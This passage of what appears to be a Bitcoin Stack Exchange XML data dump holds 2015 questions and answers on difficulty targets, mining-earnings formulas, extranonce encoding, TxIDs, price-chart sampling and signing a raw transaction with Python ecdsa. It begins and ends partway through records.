0x00000000FFFF0000000000000000000000000000000000000000000000000000 / 0x000000000000000000005A5E143087632FBF0EEA743AD99646D9FC67D40F7441&#xA;797371821285215.2&#xA;&amp;gt;&amp;gt;&amp;gt; # 331908&#xA;... 0x00000000FFFF0000000000000000000000000000000000000000000000000000 / 0x000000000000000000006836C4009AB00485CD1DE4D5958CA7839184D0B80067&#xA;691428638477639.5&#xA;&amp;gt;&amp;gt;&amp;gt; # 326055&#xA;... 0x00000000FFFF0000000000000000000000000000000000000000000000000000 / 0x000000000000000000007E1166D92ACF81D4E2D95934FCDEC1276B09A7DB9390&#xA;571568585825999.9&#xA;&amp;gt;&amp;gt;&amp;gt; # 343775&#xA;... 0x00000000FFFF0000000000000000000000000000000000000000000000000000 / 0x000000000000000000007EEF13EE1F2FCF1B469BD862FCC93B48EC49548ECF6D&#xA;567669438511087.9&#xA;&amp;gt;&amp;gt;&amp;gt; # 340483&#xA;... 0x00000000FFFF0000000000000000000000000000000000000000000000000000 / 0x000000000000000000008AC86BA28085BE84AF2EBD6FC6935A004E57FB60C083&#xA;519203003284590.0&#xA;&amp;gt;&amp;gt;&amp;gt; # 313338&#xA;... 0x00000000FFFF0000000000000000000000000000000000000000000000000000 / 0x00000000000000000000B7DE9E5C19E52BE073156924B7CF235EFB27AE8A202A&#xA;391889105139868.25&#xA;&amp;gt;&amp;gt;&amp;gt; # 331987&#xA;... 0x00000000FFFF0000000000000000000000000000000000000000000000000000 / 0x00000000000000000000EC03E3183BACC8B18437180F63F6A563267A186225BC&#xA;305304486446787.75&#xA;&amp;gt;&amp;gt;&amp;gt; # 334151&#xA;... 0x00000000FFFF0000000000000000000000000000000000000000000000000000 / 0x0000000000000000000119ADB3DA72742B1EBA98F9DC26F73858E91652B42287&#xA;255811103719832.1&#xA;&amp;gt;&amp;gt;&amp;gt; # 333904&#xA;... 0x00000000FFFF0000000000000000000000000000000000000000000000000000 / 0x0000000000000000000119F88871F8A3C3B7BE053C98B31E9C4676DF30243CFE&#xA;255545915930877.94&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Therefore the highest difficulty target ever attained as of block &lt;code&gt;#347444&lt;/code&gt; is &lt;code&gt;1,592,230,611,213,387.2&lt;/code&gt; for block &lt;code&gt;#334261&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NB: Use Python 3 to get decimals, Python 2.x truncates the fractional digits.&lt;/p&gt;&#xA;" OwnerUserId="11802" LastActivityDate="2015-03-13T15:04:48.750" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36452" PostTypeId="2" ParentId="36426" CreationDate="2015-03-13T15:36:35.300" Score="0" Body="&lt;p&gt;The full disclosure post is here: &lt;a href=&quot;https://bitcointalk.org/?topic=102395&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/?topic=102395&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find it from the Bitcoin CVE list: &lt;a href=&quot;https://en.bitcoin.it/wiki/CVEs&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/CVEs&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11802" LastActivityDate="2015-03-13T15:36:35.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36453" PostTypeId="2" ParentId="35841" CreationDate="2015-03-13T21:52:57.597" Score="0" Body="&lt;p&gt;My answer pointed doubt at the &quot;9.4 SHOULD resolve your issue&quot; answer above. That appears to have been suggested by someone who hasn't actually tried it. I, however, have tried it... &#xA;I have the the same OS version and the same problem as the OP. He didn't mention changing openssl, so probably has the same one as me, too (as supplied/updated with 14.04). 0.9.4 didn't work.&#xA;I find it a bit odd that you delete an answer saying that a suggested fix doesn't work, but leave the unverified fix up. &#xA;I'd love to find a real answer too, it takes me nearly two weeks to reindex and find out that a suggested fix doesn't work, maybe other people would like to know it didn't work on another 14.04 system?&#xA;No doubt this will get deleted too as it isn't answer.&#xA;I have the patched 1.01f&lt;/p&gt;&#xA;" OwnerUserId="24678" LastActivityDate="2015-03-13T21:52:57.597" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36454" PostTypeId="2" ParentId="18629" CreationDate="2015-03-14T00:37:45.140" Score="7" Body="&lt;p&gt;I want to give an extended answer as I found the pre-existing here or elsewhere in need of a bit more clarification, specifically for newcomers.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Formula&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In order to calculate the approximated total bitcoin earnings value per month from a mining operation (not taking into consideration mining costs [electricity, hardware maintenance etc...]) the following formula can be used:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;H = Hashrate (hashes / second)&#xA;D = Difficulty (Reference for values below)&#xA;B = Reward per Block (Reference for value below)&#xA;N = Number of days per month (default = 30)&#xA;S = Number of seconds per day (S = 60 * 60 * 24 = 86400)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aqXbM.png&quot; alt=&quot;Mining Earnings Formula&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Example&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;H = 21,990,232,555,520 h/s (~= 20TH/s)&#xA;D = 47,427,554,950.648&#xA;B = 25&#xA;N = 30&#xA;S = 86400&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aQODb.png&quot; alt=&quot;Mining Earnings Formula&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The total number of bitcoins earned &lt;em&gt;per month&lt;/em&gt; as per the defined variables above will be &lt;strong&gt;~6.995&lt;/strong&gt;. Dismiss &lt;code&gt;N&lt;/code&gt; from the numerator and you'll get the daily value.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Python&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;A quick python statement as an example implementation (you can type this directly in the terminal)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ python -c &quot;print (30*21990232555520*25*86400)/(47427554950.648*2**32)&quot;&#xA;$ 6.99542703277&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Some References:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Difficulty&lt;/strong&gt; (&lt;a href=&quot;http://blockexplorer.com/q/getdifficulty&quot; rel=&quot;noreferrer&quot;&gt;Current Value&lt;/a&gt; | &lt;a href=&quot;https://en.bitcoin.it/wiki/Difficulty&quot; rel=&quot;noreferrer&quot;&gt;Wiki&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Reward per Block&lt;/strong&gt; (&lt;a href=&quot;https://en.bitcoin.it/wiki/Controlled_supply&quot; rel=&quot;noreferrer&quot;&gt;Current and Future values&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="14920" LastEditorUserId="14920" LastEditDate="2015-03-14T00:51:54.423" LastActivityDate="2015-03-14T00:51:54.423" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36455" PostTypeId="1" AcceptedAnswerId="36461" CreationDate="2015-03-14T01:21:28.490" Score="1" ViewCount="1427" Body="&lt;p&gt;How do I determine a block's &lt;a href=&quot;http://chimera.labs.oreilly.com/books/1234000001802/ch08.html#extra_nonce&quot; rel=&quot;nofollow&quot;&gt;extranonce&lt;/a&gt; value? I know they are in the coinbase transaction, but where? How do I decode the part that is the extranonce?&lt;/p&gt;&#xA;" OwnerUserId="4334" LastEditorUserId="4334" LastEditDate="2015-03-14T01:33:04.397" LastActivityDate="2015-03-16T08:01:51.993" Title="Determining a Block's Extranonce Value" Tags="|nonce|coinbase-transaction|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36456" PostTypeId="1" AcceptedAnswerId="36459" CreationDate="2015-03-14T01:25:57.267" Score="2" ViewCount="4990" Body="&lt;p&gt;Can I use an old ASIC Bitcoin miner for other applications? For example, quickly reindexing the blockchain on my computer? Or quickly hashing every file on my hard-drive?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;(I really wonder if the hard-drive could even supply the data to the miner fast enough, and the computer's CPU would probably have to be involved, translating the data for the miner, so that would be a bottleneck…)&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Note: My question differs from &quot;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/32071/4334&quot;&gt;Reusability of ASIC miners&lt;/a&gt;&quot; because I am only asking about hashing-specific applications, not whether ASICs can do other mathematical operations.)&lt;/p&gt;&#xA;" OwnerUserId="4334" LastEditorUserId="5406" LastEditDate="2016-04-02T09:10:39.813" LastActivityDate="2016-04-02T09:10:39.813" Title="Non-Bitcoin Uses for Old ASIC Miners?" Tags="|asic|mining-hardware|" AnswerCount="1" CommentCount="2" ClosedDate="2015-03-17T00:20:04.783" ContentLicense="CC BY-SA 3.0" />
  <row Id="36457" PostTypeId="1" CreationDate="2015-03-14T02:15:12.583" Score="1" ViewCount="370" Body="&lt;p&gt;Suppose you have multiple computers on the same network. Also, you use a block-level (note that 'block' is different in this context than what it usually means in Bitcoin) deduplication filesystem  like &lt;a href=&quot;http://opendedup.org/quickstart&quot; rel=&quot;nofollow&quot;&gt;SDFS&lt;/a&gt; to deduplicate blocks between these computers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How much disk space would this save when running Bitcoin Core? Assume that all of the computers are running the same version of &lt;code&gt;bitcoind&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-03-15T17:54:00.417" LastActivityDate="2015-03-15T17:54:00.417" Title="How much space does deduplication save?" Tags="|storage-footprint|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36458" PostTypeId="2" ParentId="35434" CreationDate="2015-03-14T03:16:03.237" Score="1" Body="&lt;p&gt;I use CSS only. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this: Use default Abe html layout and use the following modified abe.css. The only changes needed are logo margins and color/font palette. Name your logo the same as abe's (logo32.png - makes things easier)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://kobocoin.com/abe.css&quot; rel=&quot;nofollow&quot; title=&quot;Modified abe.css&quot;&gt;Click here for the modified abe.css&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I modified the previous abe.py but found with the current version I'm using (0.8pre) that css is much easier. Most objects on the page can be manipulated. &lt;/p&gt;&#xA;" OwnerUserId="24689" LastActivityDate="2015-03-14T03:16:03.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36459" PostTypeId="2" ParentId="36456" CreationDate="2015-03-14T13:30:37.997" Score="3" Body="&lt;p&gt;Anything that makes ASICs suitable for applications other than the Specific Application the Integrated Circuit was designed for would probably slow it down or make it more power hungry or expensive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One side effect they do have (along with anything else electronic) is that they convert 100% of the electricity into heat. So you could use them instead of an electric heater.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that heat pumps are actually more efficient, so it's not optimal. And in a lot of countries burning natural gas for heating is cheaper too.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2015-03-14T13:30:37.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36460" PostTypeId="2" ParentId="36455" CreationDate="2015-03-14T15:58:31.677" Score="1" Body="&lt;p&gt;From &lt;a href=&quot;https://bitcointalk.org/index.php?topic=988542.msg10771576#msg10771576&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The extranonce can be found in the coinbase data from a coinbase&#xA;  transaction. This data can be interpreted as a script pushing data&#xA;  onto the stack and the extranonce is the second value.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;   ...&#xA;    &quot;vin&quot; : [&#xA;        {&#xA;            &quot;coinbase&quot; : &quot;03443b0403858402062f503253482f&quot;,&#xA;            &quot;sequence&quot; : 4294967295&#xA;        }&#xA;    ],&#xA;   ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;can be interpreted as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;03 = push 3 bytes onto the stack&#xA;443b04 = 3 bytes pushed onto the stack &amp;lt;-- Block index&#xA;03 = push 3 bytes onto the stack&#xA;858402 = 3 bytes pushed onto the stack &amp;lt;-- The extranonce&#xA;06 = push 6 bytes onto the stack&#xA;2f503253482f = 6 bytes pushed onto the stack &amp;lt;-- arbitrary data&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;EDIT: This format was defined by &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0034.mediawiki&quot; rel=&quot;nofollow&quot;&gt;BIP34&lt;/a&gt; and applies to blocks with&#xA;  version &gt;= 2. I'm not sure how the extranonce was managed before that.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="4334" LastActivityDate="2015-03-14T15:58:31.677" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36461" PostTypeId="2" ParentId="36455" CreationDate="2015-03-14T19:27:06.673" Score="4" Body="&lt;p&gt;In Bitcoin v0.1.5 to v0.3.24, the coinbase scriptSig contained:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;txNew.vin[0].scriptSig &amp;lt;&amp;lt; nBits &amp;lt;&amp;lt; ++bnExtraNonce;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In Bitcoin v0.4.0 to v0.5.3, it changed to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pblock-&amp;gt;vtx[0].vin[0].scriptSig = CScript() &amp;lt;&amp;lt; pblock-&amp;gt;nTime &amp;lt;&amp;lt; CBigNum(nExtraNonce);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Bitcoin v0.6.0 to v0.6.3:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pblock-&amp;gt;vtx[0].vin[0].scriptSig = (CScript() &amp;lt;&amp;lt; pblock-&amp;gt;nTime &amp;lt;&amp;lt; CBigNum(nExtraNonce)) + COINBASE_FLAGS;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Bitcoin v0.7.0 to current:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;txCoinbase.vin[0].scriptSig = (CScript() &amp;lt;&amp;lt; nHeight &amp;lt;&amp;lt; CScriptNum(nExtraNonce)) + COINBASE_FLAGS;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the coinbase scriptSig field has changed over time, but it has always placed the extranonce as the second item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Bitcoin v0.1.5, the size was unlimited, and in more current versions, it's 4 bytes or less. (This is caused by the switch from &lt;code&gt;bnExtraNonce&lt;/code&gt; to &lt;code&gt;nExtraNonce&lt;/code&gt;.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some other odd details - in v0.1.5, it only resets when the client resets, but in later versions it resets on every new block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, this is just what the core client does. Other miners or pools might do something else.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-03-16T08:01:51.993" LastActivityDate="2015-03-16T08:01:51.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36462" PostTypeId="2" ParentId="3629" CreationDate="2015-03-14T21:13:53.597" Score="0" Body="&lt;p&gt;There lies the problem.  For a $100 a month, you can have a server administrator manage your Linode.  If his system gets compromised, you are now at risk for an attack.  In my case, I manage my entire server on my own.  I even went as far as setting up an SSH key for log in, so an attacker would have to get a hold of my system directly and find my ssh keys.  Considering I have all the latest antivirus software, firewall and common sense not to open up malicious email attachments, I should be fine.&lt;/p&gt;&#xA;" OwnerUserId="24696" LastActivityDate="2015-03-14T21:13:53.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36472" PostTypeId="1" AcceptedAnswerId="36474" CreationDate="2015-03-15T10:37:53.307" Score="1" ViewCount="409" Body="&lt;p&gt;A largely abstract question (set) I've tried to answer for awhile is the nature of a TxID (32 byte hex Transaction ID hash).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First and foremost, I certainly understand the main function if this value(?) is to &lt;em&gt;uniquely identify a Transaction&lt;/em&gt; (primarily to tracks unspent outputs, AKA UTXOs).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But let's take a random TxID, say &lt;a href=&quot;https://blockchain.info/tx/e151de4f5a339ed545e24ecfc8f811f9143fefc10574af40721a156ff2d3a389&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;e151de4f5a339ed545e24ecfc8f811f9143fefc10574af40721a156ff2d3a389&lt;/em&gt;&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How is a TxID assigned to a Transaction?&lt;/li&gt;&#xA;&lt;li&gt;Are 2 identical Txs that: double spend, have identical &lt;em&gt;k&lt;/em&gt; PRNG-signed (so not a RNG!) sigs, identical inputs/outputs (a lot of assumptions here) given identical hashes?&lt;/li&gt;&#xA;&lt;li&gt;Tangentially: are the Big/Little Endian expressions of TxIDs (by &lt;a href=&quot;http://blockchain.info&quot; rel=&quot;nofollow&quot;&gt;BCI&lt;/a&gt; and bitcoincore respectively) suggesting two different usages (ie TxIDs are values in one sense but akin to URIs in another: is this normal?)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I know the questions seem somewhat disparate but I think the best summation is &lt;strong&gt;what &lt;em&gt;exactly&lt;/em&gt; are TxIDs?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2015-03-15T12:25:31.827" Title="Meaning/Derivation of 32 byte TxID hash" Tags="|transactions|protocol|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36473" PostTypeId="1" AcceptedAnswerId="36480" CreationDate="2015-03-15T12:18:05.687" Score="0" ViewCount="247" Body="&lt;p&gt;i noticed that from the 13th of feb 2015 the bitcoin price becomes a lot more &quot;noisy&quot; on &lt;a href=&quot;https://bitcoinaverage.com/charts#USD-averages-false&quot; rel=&quot;nofollow noreferrer&quot;&gt;bitcoinaverage.com&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/atv4L.png&quot; alt=&quot;price noise&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;does anybody know whether this is actually due to bitcoin price movements becoming more rapid, or whether its just that bitcoinaverage.com increased their sampling frequency?&lt;/p&gt;&#xA;" OwnerUserId="2116" LastEditorUserId="2306" LastEditDate="2015-03-15T18:48:50.730" LastActivityDate="2015-03-15T18:58:01.747" Title="bitcoinaverage.com price precision" Tags="|exchange-rate|historical-trade-data|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36474" PostTypeId="2" ParentId="36472" CreationDate="2015-03-15T12:25:31.827" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;How is a TxID assigned to a Transaction?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It's a hash of key transaction information -- inputs, outputs, scripts, signatures.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Are 2 identical Txs that: double spend, have identical k PRNG-signed (so not a RNG!) sigs, identical inputs/outputs (a lot of assumptions here) given identical hashes?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This question is ill-formed. Unless there's some difference between them, they're not 2 transactions, they're one transaction. It's like talking about &quot;two identical integers&quot; -- that would just be one integer.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2015-03-15T12:25:31.827" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36475" PostTypeId="2" ParentId="36457" CreationDate="2015-03-15T14:55:56.763" Score="1" Body="&lt;p&gt;According to &lt;a href=&quot;https://askubuntu.com/questions/411375/deduplication-using-sdfs-file-system&quot;&gt;this&lt;/a&gt;, you need 4096 bytes to align to actually deduplicate (or rather, save space). If I'm reading correctly, that means you would need the same 4096 bytes to occur in the blockchain somewhere at which point you would save space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given that each block has all sorts of essentially random data (tx id's block id's, signatures, etc), I would think 4096 bytes aligning anywhere would be highly unlikely. Most likely, you wouldn't actually save any disk space.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastEditorUserId="-1" LastEditDate="2017-04-13T12:23:01.473" LastActivityDate="2015-03-15T14:55:56.763" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36476" PostTypeId="2" ParentId="36442" CreationDate="2015-03-15T15:14:23.277" Score="2" Body="&lt;p&gt;Not sure if you can do it as they seem to be the same package.&lt;/p&gt;&#xA;&lt;p&gt;For python-bitcoinlib &lt;a href=&quot;https://pypi.python.org/pypi/bitcoin&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Author: Vitalik Buterin&lt;/p&gt;&#xA;&lt;p&gt;Home Page: &lt;a href=&quot;http://github.com/vbuterin/pybitcointools&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://github.com/vbuterin/pybitcointools&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Package Index Owner: vbuterin&lt;/p&gt;&#xA;&lt;p&gt;DOAP record: bitcoin-1.1.26.xml&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;For pybitcointools &lt;a href=&quot;https://pypi.python.org/pypi/pybitcointools&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Author: Vitalik Buterin&lt;/p&gt;&#xA;&lt;p&gt;Home Page: &lt;a href=&quot;http://github.com/vbuterin/pybitcointools&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://github.com/vbuterin/pybitcointools&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Package Index Owner: vbuterin&lt;/p&gt;&#xA;&lt;p&gt;DOAP record: pybitcointools-1.1.15.xml&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;They point to the same package on github (just different versions) and running them at the same time is probably not a good idea. My guess is that Vitalik changed the python package name from pybitcointools to bitcoin when he realized the second was available.&lt;/p&gt;&#xA;&lt;p&gt;That said, if you really need to use both packages, you can do something like &lt;a href=&quot;https://stackoverflow.com/questions/6570635/installing-multiple-versions-of-a-package-with-pip&quot;&gt;this answer&lt;/a&gt;. Note you'll have to install manually, probably installing from source using github.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2015-03-15T15:14:23.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36478" PostTypeId="1" CreationDate="2015-03-15T16:36:00.790" Score="2" ViewCount="6008" Body="&lt;p&gt;Is there any way to check for this data in blockchain? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to search this value: 554e6963444320 and want to return this transaction &lt;a href=&quot;https://blockchain.info/tx/7e92e90f221ad28daf42b5b8bda4c8e244e37af48527fcd12b2518db5d3315bd&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tx/7e92e90f221ad28daf42b5b8bda4c8e244e37af48527fcd12b2518db5d3315bd&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22892" LastActivityDate="2022-04-12T15:59:21.640" Title="How can I search for OP_RETURN data?" Tags="|op-return|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36480" PostTypeId="2" ParentId="36473" CreationDate="2015-03-15T18:58:01.747" Score="2" Body="&lt;p&gt;I don't think the issue is that they don't have the data. I think they're just showing the data at a lower sampling rate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This chart draws data from three locations:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://api.bitcoinaverage.com/history/USD/per_minute_24h_sliding_window.csv&quot; rel=&quot;nofollow&quot;&gt;https://api.bitcoinaverage.com/history/USD/per_minute_24h_sliding_window.csv&lt;/a&gt;&lt;br&gt;&#xA;Updates once per minute, but only has 24 hours of data.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://api.bitcoinaverage.com/history/USD/per_hour_monthly_sliding_window.csv&quot; rel=&quot;nofollow&quot;&gt;https://api.bitcoinaverage.com/history/USD/per_hour_monthly_sliding_window.csv&lt;/a&gt;&lt;br&gt;&#xA;Updates once per hour, but only has a month of data.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://api.bitcoinaverage.com/history/USD/per_day_all_time_history.csv&quot; rel=&quot;nofollow&quot;&gt;https://api.bitcoinaverage.com/history/USD/per_day_all_time_history.csv&lt;/a&gt;&lt;br&gt;&#xA;Updates once per day, but has all data.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Note how the data that goes back further is less precise.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-03-15T18:58:01.747" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36481" PostTypeId="2" ParentId="36440" CreationDate="2015-03-16T03:40:19.920" Score="6" Body="&lt;p&gt;OK, I figured out how to sign the raw Tx using Python ecdsa. I'll step through it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Recall:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;createrawtransaction '[{&quot;txid&quot; : &quot;72b764383b99fb3d112ac8b474a5d7c4242b75dbfee2d4e9cf9a6703d90f805a&quot;, &quot;vout&quot; : 1}]' '{&quot;n2kx7k6JuA5Wy27fawaeiPX7dq8mbRDPAv&quot; : 0.99}'&lt;/code&gt; =&#xA;&lt;code&gt;01000000015a800fd903679acfe9d4e2fedb752b24c4d7a574b4c82a113dfb993b3864b7720100000000ffffffff01c09ee605000000001976a914e900510876cb689f1db6fa982376c301362b740c88ac00000000&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then adding in the scriptPubKey for scriptSig's &lt;code&gt;00&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;unsigned = '01000000015a800fd903679acfe9d4e2fedb752b24c4d7a574b4c82a113dfb993b3864b772010000001976a914953de657be4b305f606d9a9fbd35b070a682475788acffffffff01c09ee605000000001976a914dd6cce9f255a8cc17bda8ba0373df8e861cb866e88ac0000000001000000'&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note &lt;code&gt;unsigned&lt;/code&gt; has the &lt;code&gt;01000000&lt;/code&gt; appended because the SIGNHASH is &lt;code&gt;01&lt;/code&gt; (which will also be appended to the DER signature in a minute)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, we double SHA256 &lt;em&gt;bytes&lt;/em&gt; and return &lt;code&gt;txhash&lt;/code&gt; as &lt;em&gt;bytes&lt;/em&gt;:&#xA;&lt;code&gt;txhash = hashlib.sha256(hashlib.sha256(unsigned.decode('hex')).digest()).digest()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;We also need the &lt;em&gt;privkey&lt;/em&gt;&lt;/strong&gt; for &lt;code&gt;mu858WTEPiWWpAJRTMxC4ka6DJqiaCZiSB&lt;/code&gt; (in secret exponent form, ie hex): &#xA;&lt;code&gt;privkey = 'dc57c6d067376c36bbed632c9d00f03767867f337d5a86b5b0308a60004f08ee'.zfill(64)&lt;/code&gt;&#xA;privkey = 'dc57c6d067376c36bbed632c9d00f03767867f337d5a86b5b0308a60004f08ee'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, we sign using this &lt;strong&gt;corrected code&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;signingkey = ecdsa.SigningKey.from_string(privkey.decode('hex'), curve=ecdsa.SECP256k1)&#xA;SIG = signingkey.sign_digest(txhash, sigencode=ecdsa.util.sigencode_der) +'01'.decode('hex')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is working code. From here on in, we're simply making the signature:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;ScriptSig&lt;/code&gt; = &lt;code&gt;&amp;lt;varint of total sig length&amp;gt;&lt;/code&gt; &lt;code&gt;&amp;lt;SIG from code, including appended 01 SIGNHASH&amp;gt;&lt;/code&gt; &lt;code&gt;&amp;lt;length of pubkey (0x21 or 0x41)&amp;gt;&lt;/code&gt; &lt;code&gt;&amp;lt;pubkey&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;where &lt;code&gt;pubkey = 